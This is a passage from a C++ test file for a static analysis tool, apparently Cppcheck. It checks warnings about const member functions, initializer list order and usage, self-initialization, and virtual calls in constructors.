void constArrayOperator() {\n checkConst(\"struct foo {\\n\"\n \" int x;\\n\"\n \" int y[5][724];\\n\"\n \" T a() {\\n\"\n \" return y[x++][6];\\n\"\n \" }\\n\"\n \" T b() {\\n\"\n \" return y[1][++x];\\n\"\n \" }\\n\"\n \" T c() {\\n\"\n \" return y[1][6];\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:10:7]: (style, inconclusive) Technically the member function 'foo::c' can be const. [functionConst]\\n\", errout_str());\n }\n\n void constRangeBasedFor() { // #5514\n checkConst(\"class Fred {\\n\"\n \" int array[256];\\n\"\n \"public:\\n\"\n \" void f1() {\\n\"\n \" for (auto & e : array)\\n\"\n \" foo(e);\\n\"\n \" }\\n\"\n \" void f2() {\\n\"\n \" for (const auto & e : array)\\n\"\n \" foo(e);\\n\"\n \" }\\n\"\n \" void f3() {\\n\"\n \" for (decltype(auto) e : array)\\n\"\n \" foo(e);\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:8:10]: (style, inconclusive) Technically the member function 'Fred::f2' can be const. [functionConst]\\n\", errout_str());\n }\n\n void const_shared_ptr() { // #8674\n checkConst(\"class Fred {\\n\"\n \"public:\\n\"\n \" std::shared_ptr getData();\\n\"\n \"private:\\n\"\n \" std::shared_ptr data;\\n\"\n \"};\\n\"\n \"\\n\"\n \"std::shared_ptr Fred::getData() { return data; }\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void constPtrToConstPtr() {\n checkConst(\"class Fred {\\n\"\n \"public:\\n\"\n \" const char *const *data;\\n\"\n \" const char *const *getData() { return data; }\\n}\");\n ASSERT_EQUALS(\"[test.cpp:4:24]: (style, inconclusive) Technically the member function 'Fred::getData' can be const. [functionConst]\\n\", errout_str());\n }\n\n void constTrailingReturnType() { // #9814\n checkConst(\"struct A {\\n\"\n \" int x = 1;\\n\"\n \" auto get() -> int & { return x; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void constRefQualified() { // #12920\n checkConst(\"class Fred {\\n\"\n \"public:\\n\"\n \" const Data& get() & { return data; }\\n\"\n \"private:\\n\"\n \" Data data;\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void staticArrayPtrOverload() {\n checkConst(\"struct S {\\n\"\n \" template\\n\"\n \" void f(const std::array& sv);\\n\"\n \" template\\n\"\n \" void f(const char* const (&StrArr)[N]);\\n\"\n \"};\\n\"\n \"template\\n\"\n \"void S::f(const std::array& sv) {\\n\"\n \" const char* ptrs[N]{};\\n\"\n \" return f(ptrs);\\n\"\n \"}\\n\"\n \"template void S::f(const std::array& sv);\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void qualifiedNameMember() { // #10872\n const Settings s = settingsBuilder().severity(Severity::style).debugwarnings().library(\"std.cfg\").build();\n checkConst(\"struct data {};\\n\"\n \" struct S {\\n\"\n \" std::vector std;\\n\"\n \" void f();\\n\"\n \"};\\n\"\n \"void S::f() {\\n\"\n \" std::vector::const_iterator end = std.end();\\n\"\n \"}\\n\", dinit(CheckConstOptions, $.s = &s));\n ASSERT_EQUALS(\"[test.cpp:4:10] -> [test.cpp:6:9]: (style, inconclusive) Technically the member function 'S::f' can be const. [functionConst]\\n\", errout_str());\n }\n\n#define checkInitializerListOrder(...) checkInitializerListOrder_(__FILE__, __LINE__, __VA_ARGS__)\n template\n void checkInitializerListOrder_(const char* file, int line, const char (&code)[size]) {\n // Tokenize..\n SimpleTokenizer tokenizer(settings2, *this);\n ASSERT_LOC(tokenizer.tokenize(code), file, line);\n\n CheckClass checkClass(&tokenizer, &settings2, this);\n checkClass.initializerListOrder();\n }\n\n void initializerListOrder() {\n checkInitializerListOrder(\"class Fred {\\n\"\n \" int a, b, c;\\n\"\n \"public:\\n\"\n \" Fred() : c(0), b(0), a(0) { }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:20] -> [test.cpp:2:12]: (style, inconclusive) Member variable 'Fred::b' is in the wrong place in the initializer list. [initializerList]\\n\"\n \"[test.cpp:4:26] -> [test.cpp:2:9]: (style, inconclusive) Member variable 'Fred::a' is in the wrong place in the initializer list. [initializerList]\\n\", errout_str());\n\n checkInitializerListOrder(\"class Fred {\\n\"\n \" int a, b, c;\\n\"\n \"public:\\n\"\n \" Fred() : c{0}, b{0}, a{0} { }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:20] -> [test.cpp:2:12]: (style, inconclusive) Member variable 'Fred::b' is in the wrong place in the initializer list. [initializerList]\\n\"\n \"[test.cpp:4:26] -> [test.cpp:2:9]: (style, inconclusive) Member variable 'Fred::a' is in the wrong place in the initializer list. [initializerList]\\n\", errout_str());\n\n checkInitializerListOrder(\"struct S {\\n\"\n \" S() : b(a = 1) {}\\n\"\n \" int a, b;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInitializerListOrder(\"struct S {\\n\"\n \" int nCols() const;\\n\"\n \" int nRows() const;\\n\"\n \"};\\n\"\n \"struct B {\\n\"\n \" const char* m_name;\\n\"\n \" int nCols;\\n\"\n \" int nRows;\\n\"\n \" B(const char* p_name, int nR, int nC)\\n\"\n \" : m_name(p_name)\\n\"\n \" , nCols(nC)\\n\"\n \" , nRows(nR)\\n\"\n \" {}\\n\"\n \"};\\n\"\n \"struct D : public B {\\n\"\n \" const int m_i;\\n\"\n \" D(const S& s, int _i)\\n\"\n \" : B(\\\"abc\\\", s.nRows(), s.nCols())\\n\"\n \" , m_i(_i)\\n\"\n \" {}\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void initializerListArgument() {\n checkInitializerListOrder(\"struct A { A(); };\\n\" // #12322\n \"struct B { explicit B(const A* a); };\\n\"\n \"struct C {\\n\"\n \" C() : b(&a) {}\\n\"\n \" B b;\\n\"\n \" const A a;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:11] -> [test.cpp:5:7]: (style, inconclusive) Member variable 'C::b' uses an uninitialized argument 'a' due to the order of declarations. [initializerList]\\n\",\n errout_str());\n\n checkInitializerListOrder(\"struct S {\\n\"\n \" S(const std::string& f, std::string i, int b, int c) : a(0), b(b), c(c) {}\\n\"\n \" int a, b, c;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInitializerListOrder(\"struct S {\\n\"\n \" S() : p(a) {}\\n\"\n \" int* p;\\n\"\n \" int a[1];\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInitializerListOrder(\"struct S {\\n\"\n \" S() : p(&i) {}\\n\"\n \" int* p;\\n\"\n \" int i;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInitializerListOrder(\"struct S {\\n\"\n \" S() : a(b = 1) {}\\n\"\n \" int a, b;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInitializerListOrder(\"struct S {\\n\"\n \" S() : r(i) {}\\n\"\n \" int& r;\\n\"\n \" int i{};\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInitializerListOrder(\"struct B {\\n\"\n \" int a{}, b{};\\n\"\n \"};\\n\"\n \"struct D : B {\\n\"\n \" D() : B(), j(b) {}\\n\"\n \" int j;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInitializerListOrder(\"struct S {\\n\"\n \" S() : a(i) {}\\n\"\n \" int a;\\n\"\n \" static int i;\\n\"\n \"};\\n\"\n \"int S::i = 0;\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInitializerListOrder(\"struct S {\\n\"\n \" S(int b) : a(b) {}\\n\"\n \" int a, b{};\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInitializerListOrder(\"class Foo {\\n\" // #3524\n \"public:\\n\"\n \" Foo(int arg) : a(b), b(arg) {}\\n\"\n \" int a;\\n\"\n \" int b;\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:20] -> [test.cpp:4:9]: (style, inconclusive) Member variable 'Foo::a' uses an uninitialized argument 'b' due to the order of declarations. [initializerList]\\n\",\n errout_str());\n\n checkInitializerListOrder(\"struct S { double d = 0; };\\n\" // #12730\n \"struct T {\\n\"\n \" T() : s(), a(s.d), d(0) {}\\n\"\n \" S s;\\n\"\n \" double a, d;\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInitializerListOrder(\"struct S { static const int d = 1; };\\n\"\n \"struct T {\\n\"\n \" T() : s(), a(S::d), d(0) {}\\n\"\n \" S s;\\n\"\n \" int a, d;\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n#define checkInitializationListUsage(...) checkInitializationListUsage_(__FILE__, __LINE__, __VA_ARGS__)\n template\n void checkInitializationListUsage_(const char* file, int line, const char (&code)[size]) {\n // Check..\n const Settings settings = settingsBuilder().severity(Severity::performance).build();\n\n // Tokenize..\n SimpleTokenizer tokenizer(settings, *this);\n ASSERT_LOC(tokenizer.tokenize(code), file, line);\n\n CheckClass checkClass(&tokenizer, &settings, this);\n checkClass.initializationListUsage();\n }\n\n void initializerListUsage() {\n checkInitializationListUsage(\"enum Enum { C = 0 };\\n\"\n \"class Fred {\\n\"\n \" int a;\\n\" // No message for builtin types: No performance gain\n \" int* b;\\n\" // No message for pointers: No performance gain\n \" Enum c;\\n\" // No message for enums: No performance gain\n \" Fred() { a = 0; b = 0; c = C; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInitializationListUsage(\"class Fred {\\n\"\n \" std::string s;\\n\"\n \" Fred() { a = 0; s = \\\"foo\\\"; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:21]: (performance) Variable 's' is assigned in constructor body. Consider performing initialization in initialization list. [useInitializationList]\\n\", errout_str());\n\n checkInitializationListUsage(\"class Fred {\\n\"\n \" std::string& s;\\n\" // Message is invalid for references, since their initialization in initializer list is required anyway and behaves different from assignment (#5004)\n \" Fred(const std::string& s_) : s(s_) { s = \\\"foo\\\"; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInitializationListUsage(\"class Fred {\\n\"\n \" std::vector v;\\n\"\n \" Fred() { v = unknown; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:14]: (performance) Variable 'v' is assigned in constructor body. Consider performing initialization in initialization list. [useInitializationList]\\n\", errout_str());\n\n checkInitializationListUsage(\"class C { std::string s; };\\n\"\n \"class Fred {\\n\"\n \" C c;\\n\"\n \" Fred() { c = unknown; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:14]: (performance) Variable 'c' is assigned in constructor body. Consider performing initialization in initialization list. [useInitializationList]\\n\", errout_str());\n\n checkInitializationListUsage(\"class C;\\n\"\n \"class Fred {\\n\"\n \" C c;\\n\"\n \" Fred() { c = unknown; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:14]: (performance) Variable 'c' is assigned in constructor body. Consider performing initialization in initialization list. [useInitializationList]\\n\", errout_str());\n\n checkInitializationListUsage(\"class C;\\n\"\n \"class Fred {\\n\"\n \" C c;\\n\"\n \" Fred(Fred const & other) { c = other.c; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:32]: (performance) Variable 'c' is assigned in constructor body. Consider performing initialization in initialization list. [useInitializationList]\\n\", errout_str());\n\n checkInitializationListUsage(\"class C;\\n\"\n \"class Fred {\\n\"\n \" C c;\\n\"\n \" Fred(Fred && other) { c = other.c; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:27]: (performance) Variable 'c' is assigned in constructor body. Consider performing initialization in initialization list. [useInitializationList]\\n\", errout_str());\n\n checkInitializationListUsage(\"class C;\\n\"\n \"class Fred {\\n\"\n \" C a;\\n\"\n \" Fred() { initB(); a = b; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInitializationListUsage(\"class C;\\n\"\n \"class Fred {\\n\"\n \" C a;\\n\"\n \" Fred() : a(0) { if(b) a = 0; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInitializationListUsage(\"class C;\\n\"\n \"class Fred {\\n\"\n \" C a[5];\\n\"\n \" Fred() { for(int i = 0; i < 5; i++) a[i] = 0; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInitializationListUsage(\"class C;\\n\"\n \"class Fred {\\n\"\n \" C a; int b;\\n\"\n \" Fred() : b(5) { a = b; }\\n\" // Don't issue a message here: You actually could move it to the initialization list, but it would cause problems if you change the order of the variable declarations.\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInitializationListUsage(\"class C;\\n\"\n \"class Fred {\\n\"\n \" C a;\\n\"\n \" Fred() { try { a = new int; } catch(...) {} }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInitializationListUsage(\"class Fred {\\n\"\n \" std::string s;\\n\"\n \" Fred() { s = toString((size_t)this); }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInitializationListUsage(\"class Fred {\\n\"\n \" std::string a;\\n\"\n \" std::string foo();\\n\"\n \" Fred() { a = foo(); }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInitializationListUsage(\"class Fred {\\n\"\n \" std::string a;\\n\"\n \" Fred() { a = foo(); }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:14]: (performance) Variable 'a' is assigned in constructor body. Consider performing initialization in initialization list. [useInitializationList]\\n\", errout_str());\n\n checkInitializationListUsage(\"class Fred {\\n\" // #4332\n \" static std::string s;\\n\"\n \" Fred() { s = \\\"foo\\\"; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInitializationListUsage(\"class Fred {\\n\" // #5640\n \" std::string s;\\n\"\n \" Fred() {\\n\"\n \" char str[2];\\n\"\n \" str[0] = c;\\n\"\n \" str[1] = 0;\\n\"\n \" s = str;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInitializationListUsage(\"class B {\\n\" // #5640\n \" std::shared_ptr _d;\\n\"\n \" B(const B& other) : _d(std::make_shared()) {\\n\"\n \" *_d = *other._d;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInitializationListUsage(\"class Bar {\\n\" // #8466\n \"public:\\n\"\n \" explicit Bar(const Bar &bar) : Bar{bar.s} {}\\n\"\n \" explicit Bar(const char s) : s{s} {}\\n\"\n \"private:\\n\"\n \" char s;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInitializationListUsage(\"unsigned bar(std::string);\\n\" // #8291\n \"class Foo {\\n\"\n \"public:\\n\"\n \" int a_, b_;\\n\"\n \" Foo(int a, int b) : a_(a), b_(b) {}\\n\"\n \" Foo(int a, const std::string& b) : Foo(a, bar(b)) {}\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInitializationListUsage(\"class Fred {\\n\" // #8111\n \" std::string a;\\n\"\n \" Fred() {\\n\"\n \" std::ostringstream ostr;\\n\"\n \" ostr << x;\\n\"\n \" a = ostr.str();\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // bailout: multi line lambda in rhs => do not warn\n checkInitializationListUsage(\"class Fred {\\n\"\n \" std::function f;\\n\"\n \" Fred() {\\n\"\n \" f = [](){\\n\"\n \" return 1;\\n\"\n \" };\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // don't warn if some other instance's members are assigned to\n checkInitializationListUsage(\"class C {\\n\"\n \"public:\\n\"\n \" C(C& c) : m_i(c.m_i) { c.m_i = (Foo)-1; }\\n\"\n \"private:\\n\"\n \" Foo m_i;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInitializationListUsage(\"class A {\\n\" // #9821 - delegate constructor\n \"public:\\n\"\n \" A() : st{} {}\\n\"\n \"\\n\"\n \" explicit A(const std::string &input): A() {\\n\"\n \" st = input;\\n\"\n \" }\\n\"\n \"\\n\"\n \"private:\\n\"\n \" std::string st;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n\n#define checkSelfInitialization(...) checkSelfInitialization_(__FILE__, __LINE__, __VA_ARGS__)\n template\n void checkSelfInitialization_(const char* file, int line, const char (&code)[size]) {\n // Tokenize..\n SimpleTokenizer tokenizer(settings0, *this);\n ASSERT_LOC(tokenizer.tokenize(code), file, line);\n\n CheckClass checkClass(&tokenizer, &settings0, this);\n (checkClass.checkSelfInitialization)();\n }\n\n void selfInitialization() {\n checkSelfInitialization(\"class Fred {\\n\"\n \" int i;\\n\"\n \" Fred() : i(i) {\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:12]: (error) Member variable 'i' is initialized by itself. [selfInitialization]\\n\", errout_str());\n\n checkSelfInitialization(\"class Fred {\\n\"\n \" int i;\\n\"\n \" Fred() : i{i} {\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:12]: (error) Member variable 'i' is initialized by itself. [selfInitialization]\\n\", errout_str());\n\n checkSelfInitialization(\"class Fred {\\n\"\n \" int i;\\n\"\n \" Fred();\\n\"\n \"};\\n\"\n \"Fred::Fred() : i(i) {\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:14]: (error) Member variable 'i' is initialized by itself. [selfInitialization]\\n\", errout_str());\n\n checkSelfInitialization(\"class A {\\n\" // #10427\n \"public:\\n\"\n \" explicit A(int x) : _x(static_cast(_x)) {}\\n\"\n \"private:\\n\"\n \" int _x;\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:23]: (error) Member variable '_x' is initialized by itself. [selfInitialization]\\n\", errout_str());\n\n checkSelfInitialization(\"class A {\\n\"\n \"public:\\n\"\n \" explicit A(int x) : _x((int)(_x)) {}\\n\"\n \"private:\\n\"\n \" int _x;\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:23]: (error) Member variable '_x' is initialized by itself. [selfInitialization]\\n\", errout_str());\n\n checkSelfInitialization(\"class Fred {\\n\"\n \" std::string s;\\n\"\n \" Fred() : s(s) {\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:12]: (error) Member variable 's' is initialized by itself. [selfInitialization]\\n\", errout_str());\n\n checkSelfInitialization(\"class Fred {\\n\"\n \" int x;\\n\"\n \" Fred(int x);\\n\"\n \"};\\n\"\n \"Fred::Fred(int x) : x(x) { }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkSelfInitialization(\"class Fred {\\n\"\n \" int x;\\n\"\n \" Fred(int x);\\n\"\n \"};\\n\"\n \"Fred::Fred(int x) : x{x} { }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkSelfInitialization(\"class Fred {\\n\"\n \" std::string s;\\n\"\n \" Fred(const std::string& s) : s(s) {\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkSelfInitialization(\"class Fred {\\n\"\n \" std::string s;\\n\"\n \" Fred(const std::string& s) : s{s} {\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkSelfInitialization(\"struct Foo : Bar {\\n\"\n \" int i;\\n\"\n \" Foo(int i)\\n\"\n \" : Bar(\\\"\\\"), i(i) {}\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkSelfInitialization(\"struct Foo : std::Bar {\\n\" // #6073\n \" int i;\\n\"\n \" Foo(int i)\\n\"\n \" : std::Bar(\\\"\\\"), i(i) {}\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkSelfInitialization(\"struct Foo : std::Bar {\\n\" // #6073\n \" int i;\\n\"\n \" Foo(int i)\\n\"\n \" : std::Bar(\\\"\\\"), i{i} {}\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n#define checkVirtualFunctionCall(...) checkVirtualFunctionCall_(__FILE__, __LINE__, __VA_ARGS__)\n template\n void checkVirtualFunctionCall_(const char* file, int line, const char (&code)[size]) {\n // Check..\n const Settings settings = settingsBuilder().severity(Severity::warning).severity(Severity::style).certainty(Certainty::inconclusive).build();\n\n // Tokenize..\n SimpleTokenizer tokenizer(settings, *this);\n ASSERT_LOC(tokenizer.tokenize(code), file, line);\n\n CheckClass checkClass(&tokenizer, &settings, this);\n checkClass.checkVirtualFunctionCallInConstructor();\n }\n\n void virtualFunctionCallInConstructor() {\n checkVirtualFunctionCall(\"class A\\n\"\n \"{\\n\"\n \" virtual int f() { return 1; }\\n\"\n \" A();\\n\"\n \"};\\n\"\n \"A::A()\\n\"\n \"{f();}\");\n ASSERT_EQUALS(\"[test.cpp:7:2] -> [test.cpp:3:17]: (style) Virtual function 'f' is called from constructor 'A()' at line 7. Dynamic binding is not used. [virtualCallInConstructor]\\n\", errout_str());\n\n checkVirtualFunctionCall(\"class A {\\n\"\n \" virtual int f();\\n\"\n \" A() {f();}\\n\"\n \"};\\n\"\n \"int A::f() { return 1; }\");\n ASSERT_EQUALS(\"[test.cpp:3:10] -> [test.cpp:2:17]: (style) Virtual function 'f' is called from constructor 'A()' at line 3. Dynamic binding is not used. [virtualCallInConstructor]\\n\", errout_str());\n\n checkVirtualFunctionCall(\"class A : B {\\n\"\n \" int f() override;\\n\"\n \" A() {f();}\\n\"\n \"};\\n\"\n \"int A::f() { return 1; }\");\n ASSERT_EQUALS(\"[test.cpp:3:10] -> [test.cpp:2:9]: (style) Virtual function 'f' is called from constructor 'A()' at line 3. Dynamic binding is not used. [virtualCallInConstructor]\\n\", errout_str());\n\n checkVirtualFunctionCall(\"class B {\\n\"\n \" virtual int f() = 0;\\n\"\n \"};\\n\"\n \"class A : B {\\n\"\n \" int f();\\n\" // <- not explicitly virtual\n \" A() {f();}\\n\"\n \"};\\n\"\n \"int A::f() { return 1; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkVirtualFunctionCall(\"class A\\n\"\n \"{\\n\"\n \" A() { A::f(); }\\n\"\n \" virtual void f() {}\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkVirtualFunctionCall(\"class A : B {\\n\"\n \" int f() final { return 1; }\\n\"\n \" A() { f(); }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkVirtualFunctionCall(\"class B {\\n\"\n \"public:\"\n \" virtual void f() {}\\n\"\n \"};\\n\"\n \"class A : B {\\n\"\n \"public:\"\n \" void f() override final {}\\n\"\n \" A() { f(); }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkVirtualFunctionCall(\"class Base {\\n\"\n \"public:\\n\"\n \" virtual void Copy(const Base& Src) = 0;\\n\"\n \"};\\n\"\n \"class Derived : public Base {\\n\"\n \"public:\\n\"\n \" Derived() : i(0) {}\\n\"\n \" Derived(const Derived& Src);\\n\"\n \" void Copy(const Base& Src) override;\\n\"\n \" int i;\\n\"\n \"};\\n\"\n \"Derived::Derived(const Derived& Src) {\\n\"\n \" Copy(Src);\\n\"\n \"}\\n\"\n \"void Derived::Copy(const Base& Src) {\\n\"\n \" auto d = dynamic_cast(Src);\\n\"\n \" i = d.i;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:13:5] -> [test.cpp:9:10]: (style) Virtual function 'Copy' is called from copy constructor 'Derived(const Derived&Src)' at line 13. Dynamic binding is not used. [virtualCallInConstructor]\\n\",\n errout_str());\n\n checkVirtualFunctionCall(\"struct B {\\n\"\n \" B() { auto pf = &f; }\\n\"\n \" virtual void f() {}\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkVirtualFunctionCall(\"struct B {\\n\"\n \" B() { auto pf = &B::f; }\\n\"\n \" virtual void f() {}\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkVirtualFunctionCall(\"struct B {\\n\"\n \" B() { (f)(); }\\n\"\n \" virtual void f() {}\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:12] -> [test.cpp:3:18]: (style) Virtual function 'f' is called from constructor 'B()' at line 2. Dynamic binding is not used. [virtualCallInConstructor]\\n\", errout_str());\n\n checkVirtualFunctionCall(\"class S {\\n\" // don't crash\n \" ~S();\\n\"\n \"public:\\n\"\n \" S();\\n\"\n \"};\\n\"\n \"S::S() {\\n\"\n \" typeid(S);\\n\"\n \"}\\n\"\n \"S::~S() = default;\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkVirtualFunctionCall(\"struct Base: { virtual void wibble() = 0; virtual ~Base() {} };\\n\" // #11167\n \"struct D final : public Base {\\n\"\n \" void wibble() override;\\n\"\n \" D() {}\\n\"\n \" virtual ~D() { wibble(); }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void pureVirtualFunctionCall() {\n checkVirtualFunctionCall(\"class A\\n\"\n \"{\\n\"\n \" virtual void pure()=0;\\n\"\n \" A();\\n\"\n \"};\\n\"\n \"A::A()\\n\"\n \"{pure();}\");\n ASSERT_EQUALS(\"[test.cpp:7:2] -> [test.cpp:3:18]: (warning) Call of pure virtual function 'pure' in constructor. [pureVirtualCall]\\n\", errout_str());\n\n checkVirtualFunctionCall(\"class A\\n\"\n \"{\\n\"\n \" virtual int pure()=0;\\n\"\n \" A();\\n\"\n \" int m;\\n\"\n \"};\\n\"\n \"A::A():m(A::pure())\\n\"\n \"{}\");\n ASSERT_EQUALS(\"[test.cpp:7:13] -> [test.cpp:3:17]: (warning) Call of pure virtual function 'pure' in constructor. [pureVirtualCall]\\n\", errout_str());\n\n checkVirtualFunctionCall(\"namespace N {\\n\"\n \" class A\\n\"\n \" {\\n\"\n \" virtual int pure() = 0;\\n\"\n \" A();\\n\"\n \" int m;\\n\"\n \" };\\n\"\n \"}\\n\"\n \"N::A::A() : m(N::A::pure()) {}\\n\");\n ASSERT_EQUALS(\"[test.cpp:9:21] -> [test.cpp:4:19]: (warning) Call of pure virtual function 'pure' in constructor. [pureVirtualCall]\\n\", errout_str());\n\n checkVirtualFunctionCall(\"class A\\n\"\n \" {\\n\"\n \" virtual void pure()=0;\\n\"\n \" virtual ~A();\\n\"\n \" int m;\\n\"\n \"};\\n\"\n \"A::~A()\\n\"\n \"{pure();}\");\n ASSERT_EQUALS(\"[test.cpp:8:2] -> [test.cpp:3:18]: (warning) Call of pure virtual function 'pure' in destructor. [pureVirtualCall]\\n\", errout_str());\n\n checkVirtualFunctionCall(\"class A\\n\"\n \" {\\n\"\n \" virtual void pure()=0;\\n\"\n \" void nonpure()\\n\"\n \" {pure();}\\n\"\n \" A();\\n\"\n \"};\\n\"\n \"A::A()\\n\"\n \"{nonpure();}\");\n ASSERT_EQUALS(\"[test.cpp:9:2] -> [test.cpp:5:6] -> [test.cpp:3:18]: (warning) Call of pure virtual function 'pure' in constructor. [pureVirtualCall]\\n\", errout_str());\n\n checkVirtualFunctionCall(\"class A\\n\"\n \" {\\n\"\n \" virtual int pure()=0;\\n\"\n \" int nonpure()\\n\"\n \" {return pure();}\\n\"\n \" A();\\n\"\n \" int m;\\n\"\n \"};\\n\"\n \"A::A():m(nonpure())\\n\"\n \"{}\");\n TODO_ASSERT_EQUALS(\"[test.cpp:9:2] -> [test.cpp:5:6] -> [test.cpp:3:18]: (warning) Call of pure virtual function 'pure' in constructor. [pureVirtualCall]\\n\", \"\", errout_str());\n\n checkVirtualFunctionCall(\"class A\\n\"\n \" {\\n\"\n \" virtual void pure()=0;\\n\"\n \" void nonpure()\\n\"\n \" {pure();}\\n\"\n \" virtual ~A();\\n\"\n \" int m;\\n\"\n \"};\\n\"\n \"A::~A()\\n\"\n \"{nonpure();}\");\n ASSERT_EQUALS(\"[test.cpp:10:2] -> [test.cpp:5:6] -> [test.cpp:3:18]: (warning) Call of pure virtual function 'pure' in destructor. [pureVirtualCall]\\n\", errout_str());\n\n checkVirtualFunctionCall(\"class A\\n\"\n \"{\\n\"\n \" virtual void pure()=0;\\n\"\n \" A(bool b);\\n\"\n \"};\\n\"\n \"A::A(bool b)\\n\"\n \"{if (b) pure();}\");\n ASSERT_EQUALS(\"[test.cpp:7:9] -> [test.cpp:3:18]: (warning) Call of pure virtual function 'pure' in constructor. [pureVirtualCall]\\n\", errout_str());\n\n checkVirtualFunctionCall(\"class A\\n\"\n \"{\\n\"\n \" virtual void pure()=0;\\n\"\n \" virtual ~A();\\n\"\n \" int m;\\n\"\n \"};\\n\"\n \"A::~A()\\n\"\n \"{if (b) pure();}\");\n ASSERT_EQUALS(\"[test.cpp:8:9] -> [test.cpp:3:18]: (warning) Call of pure virtual function 'pure' in destructor. [pureVirtualCall]\\n\", errout_str());\n\n // #5831\n checkVirtualFunctionCall(\"class abc {\\n\"\n \"public:\\n\"\n \" virtual ~abc() throw() {}\\n\"\n \" virtual void def(void* g) throw () = 0;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #4992\n checkVirtualFunctionCall(\"class CMyClass {\\n\"\n \" std::function< void(void) > m_callback;\\n\"\n \"public:\\n\"\n \" CMyClass() {\\n\"\n \" m_callback = [this]() { return VirtualMethod(); };\\n\"\n \" }\\n\"\n \" virtual void VirtualMethod() = 0;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", 